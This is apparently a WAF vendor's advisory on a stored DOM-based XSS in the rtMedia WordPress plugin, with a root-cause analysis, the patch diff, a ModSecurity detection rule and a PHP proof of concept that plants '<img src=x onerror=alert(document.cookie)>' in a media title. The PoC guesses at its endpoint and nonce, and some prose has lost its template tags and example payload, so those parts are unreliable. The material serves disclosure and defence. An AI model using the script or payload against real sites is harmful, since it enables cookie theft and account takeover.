Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-131651: This is a stored DOM-based cross-site scripting vulnerability in the rtMedia for WordPress, BuddyPress and bbPress plugin, affecting versions up to and including 4.7.18. The flaw resides in the Backbone.js-rendered ‘Load More’ pagination path, where the ‘media_title’ parameter is rendered without proper escaping. An authenticated attacker with subscriber-level access or above can inject arbitrary JavaScript that executes in the browser of any user viewing the injected page. The CVSS score is 6.4 (Medium).
The root cause lies in the use of unescaped Underscore.js template interpolation (“) in multiple locations. In `buddypress-media/app/main/controllers/template/rtmedia-functions.php`, functions that output `media_title`, `rt_permalink`, and `guid` use “ when the Backbone.js context is active (lines around 83, 533, and 668). Similarly, the album gallery template `buddypress-media/templates/media/album-gallery.php` uses “ and “ in the `rtmedia-gallery-item-template` script (lines 153-164). Additionally, `RTMediaTemplate.php` (around line 286) did not decode HTML entities, meaning that if `media_title` contained encoded entities, they would be rendered as-is. The server-side PHP rendering correctly uses `esc_attr()`, so the vulnerability is limited to the client-side Backbone.js rendering path.
An attacker with subscriber-level access can set the `media_title` of a media item to a malicious payload, such as `
`. When a victim triggers the ‘Load More’ pagination (e.g., by scrolling or clicking a button on a gallery page), the Backbone.js collection fetches the media data and renders it using the vulnerable template. The unescaped “ executes the injected script. The attack requires the victim to interact with the ‘Load More’ feature, but no other privileges are needed. The `media_title` parameter is typically submitted via a form or AJAX request when editing media metadata.
The patch fixes the vulnerability by switching from unescaped interpolation (“) to escaped interpolation (“) in all affected template locations. This ensures that HTML entities are properly encoded when rendered. Additionally, `RTMediaTemplate.php` now decodes HTML entities (using `html_entity_decode`) before passing data to the template, so that the escaped output is correctly interpreted. This prevents the execution of injected scripts because the payload is treated as text rather than HTML. The server-side rendering remains unaffected as it already used `esc_attr()`.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser, leading to session hijacking, theft of sensitive data (cookies, tokens), defacement, or redirection to malicious sites. The attacker can perform actions on behalf of the victim, including privilege escalation if the victim is an administrator. The stored nature means the payload persists and affects multiple users.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/buddypress-media/app/main/controllers/template/RTMediaTemplate.php
+++ b/buddypress-media/app/main/controllers/template/RTMediaTemplate.php
@@ -286,6 +286,11 @@
$media_array[ $key ]->duration = rtmedia_duration( $media->id );
$media_array[ $key ]->media_class = $media_class;
$media_array[ $key ] = apply_filters( 'rtmedia_media_array_backbone', $media_array[ $key ] );
+
+ // wp_kses() stores entities on save; decode so the template escapes once.
+ $media_array[ $key ]->media_title = html_entity_decode( (string) $media_array[ $key ]->media_title, ENT_QUOTES, 'UTF-8' );
+ $media_array[ $key ]->guid = html_entity_decode( (string) $media_array[ $key ]->guid, ENT_QUOTES, 'UTF-8' );
+ $media_array[ $key ]->rt_permalink = html_entity_decode( (string) $media_array[ $key ]->rt_permalink, ENT_QUOTES, 'UTF-8' );
}
// Add back all filters used for search functionality.
--- a/buddypress-media/app/main/controllers/template/rtmedia-functions.php
+++ b/buddypress-media/app/main/controllers/template/rtmedia-functions.php
@@ -83,7 +83,7 @@
global $rtmedia_backbone;
if ( ! empty( $rtmedia_backbone['backbone'] ) ) {
- echo '<%= media_title %>';
+ echo '<%- media_title %>';
} else {
global $rtmedia_media;
@@ -533,7 +533,7 @@
global $rtmedia_backbone;
if ( ! empty( $rtmedia_backbone['backbone'] ) ) {
- echo '<%= rt_permalink %>';
+ echo '<%- rt_permalink %>';
} else {
echo esc_url( get_rtmedia_permalink( rtmedia_id( $media_id ) ) );
}
@@ -668,7 +668,7 @@
global $rtmedia;
if ( ! empty( $rtmedia_backbone['backbone'] ) ) {
- echo '<%= guid %>';
+ echo '<%- guid %>';
return;
}
--- a/buddypress-media/index.php
+++ b/buddypress-media/index.php
@@ -3,7 +3,7 @@
* Plugin Name: rtMedia for WordPress, BuddyPress and bbPress
* Plugin URI: https://rtmedia.io/?utm_source=dashboard&utm_medium=plugin&utm_campaign=buddypress-media
* Description: This plugin adds missing media rich features like photos, videos and audio uploading to BuddyPress which are essential if you are building social network, seriously!
- * Version: 4.7.18
+ * Version: 4.7.19
* Requires at least: 4.9.6
* Text Domain: buddypress-media
* Author: rtCamp
@@ -26,7 +26,7 @@
/**
* The version of the plugin
*/
- define( 'RTMEDIA_VERSION', '4.7.18' );
+ define( 'RTMEDIA_VERSION', '4.7.19' );
}
if ( ! defined( 'RTMEDIA_PATH' ) ) {
--- a/buddypress-media/templates/media/album-gallery.php
+++ b/buddypress-media/templates/media/album-gallery.php
@@ -153,14 +153,14 @@
<script id="rtmedia-gallery-item-template" type="text/template">
<div class="rtmedia-item-thumbnail">
<a href="media/<%= id %>">
- <img src="<%= guid %>">
+ <img src="<%- guid %>">
</a>
</div>
<div class="rtmedia-item-title">
- <h4 title="<%= media_title %>">
+ <h4 title="<%- media_title %>">
<a href="media/<%= id %>">
- <%= media_title %>
+ <%- media_title %>
</a>
</h4>
</div>
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-131651
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:131651,phase:2,deny,status:403,chain,msg:'CVE-2026-131651 via rtMedia media_title XSS',severity:'CRITICAL',tag:'CVE-2026-131651'"
SecRule ARGS_POST:action "@streq rtmedia_update_media" "chain"
SecRule ARGS_POST:media_title "@rx <script|onerror|onload|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-131651 - rtMedia for WordPress, BuddyPress and bbPress <= 4.7.18 - Authenticated (Subscriber+) Stored DOM-Based Cross-Site Scripting via 'media_title' Parameter
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';
$media_id = 123; // ID of a media item owned by the attacker
// Step 1: Authenticate as subscriber and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Update media_title with XSS payload
// The exact endpoint depends on rtMedia's implementation; typically it's an AJAX action or a REST endpoint.
// For demonstration, assume an AJAX action 'rtmedia_update_media' that accepts 'media_title'.
$payload = '<img src=x onerror=alert(document.cookie)>';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'rtmedia_update_media',
'media_id' => $media_id,
'media_title' => $payload,
'nonce' => '...' // Nonce may be required; obtain from page source
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Trigger the 'Load More' pagination to render the stored payload
// The victim must visit a gallery page and click 'Load More'.
// The payload executes in the victim's browser.
// Note: This PoC is illustrative. Actual endpoint names and nonces may vary.